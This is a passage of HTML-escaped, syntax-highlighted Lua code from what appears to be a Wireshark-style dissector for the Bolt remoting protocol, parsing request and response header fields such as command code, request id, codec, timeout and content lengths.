&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;kr&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;protocol&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;==&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;13&lt;/span&gt; &lt;span class=&#34;kr&#34;&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;c1&#34;&gt;-- NOT easy&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;kr&#34;&gt;end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;c1&#34;&gt;-- BOLT REMOTING&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;kr&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;protocol&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;==&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;1&lt;/span&gt; &lt;span class=&#34;kr&#34;&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;kd&#34;&gt;local&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;dataType&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;buffer&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;offset&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;):&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;uint&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;n&#34;&gt;t_bolt&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;add&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;f_type&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;dataType&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;n&#34;&gt;offset&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;offset&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;c1&#34;&gt;-- Set the info column to the name of the function&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;kd&#34;&gt;local&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;info&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;vs_proto&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;protocol&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;..&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;:&amp;#34;&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;..&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;vs_type&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;dataType&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;n&#34;&gt;pinfo.cols&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;info&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;info&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;c1&#34;&gt;-- request&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;kr&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;dataType&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;==&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;1&lt;/span&gt; &lt;span class=&#34;ow&#34;&gt;or&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;dataType&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;==&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;2&lt;/span&gt; &lt;span class=&#34;kr&#34;&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;t_bolt&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;add&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;f_cmdcode&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;buffer&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;offset&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;2&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;offset&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;offset&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;2&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;t_bolt&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;add&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;f_version2&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;buffer&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;offset&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;offset&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;offset&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;t_bolt&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;add&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;f_req_id&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;buffer&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;offset&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;4&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;offset&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;offset&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;4&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;t_bolt&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;add&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;f_codec&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;buffer&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;offset&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;offset&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;offset&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;t_bolt&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;add&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;f_timeout&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;buffer&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;offset&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;4&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;offset&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;offset&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;4&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;t_bolt&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;add&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;f_classlen&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;buffer&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;offset&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;2&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;kd&#34;&gt;local&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;classLen&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;buffer&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;offset&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;2&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;):&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;uint64&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;():&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;tonumber&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;offset&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;offset&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;2&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;t_bolt&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;add&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;f_headerlen&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;buffer&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;offset&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;2&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;kd&#34;&gt;local&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;headerLen&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;buffer&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;offset&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;2&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;):&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;uint64&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;():&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;tonumber&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;offset&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;offset&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;2&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;t_bolt&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;add&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;f_contentlen&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;buffer&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;offset&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;4&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;kd&#34;&gt;local&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;contentLen&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;buffer&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;offset&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;4&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;):&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;uint64&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;():&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;tonumber&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;offset&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;offset&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;4&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;t_bolt&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;add&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;f_class&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;buffer&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;offset&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;classLen&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;offset&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;offset&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;classLen&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;t_bolt&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;add&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;f_header&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;buffer&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;offset&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;headerLen&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;offset&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;offset&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;headerLen&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;t_bolt&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;add&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;f_content&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;buffer&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;offset&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;contentLen&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;offset&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;offset&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;contentLen&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;kr&#34;&gt;end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;c1&#34;&gt;-- response&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;kr&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;dataType&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;==&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt; &lt;span class=&#34;kr&#34;&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;t_bolt&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;add&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;f_cmdcode&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;buffer&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;offset&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;2&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;offset&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;offset&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;2&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;t_bolt&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;add&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;f_version2&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;buffer&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;offset&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;offset&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;offset&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;t_bolt&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;add&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;f_req_id&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;buffer&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;offset&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;4&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;offset&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;offset&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;4&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;t_bolt&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;add&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;f_codec&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;buffer&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;offset&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;))&lt;/span&gt;
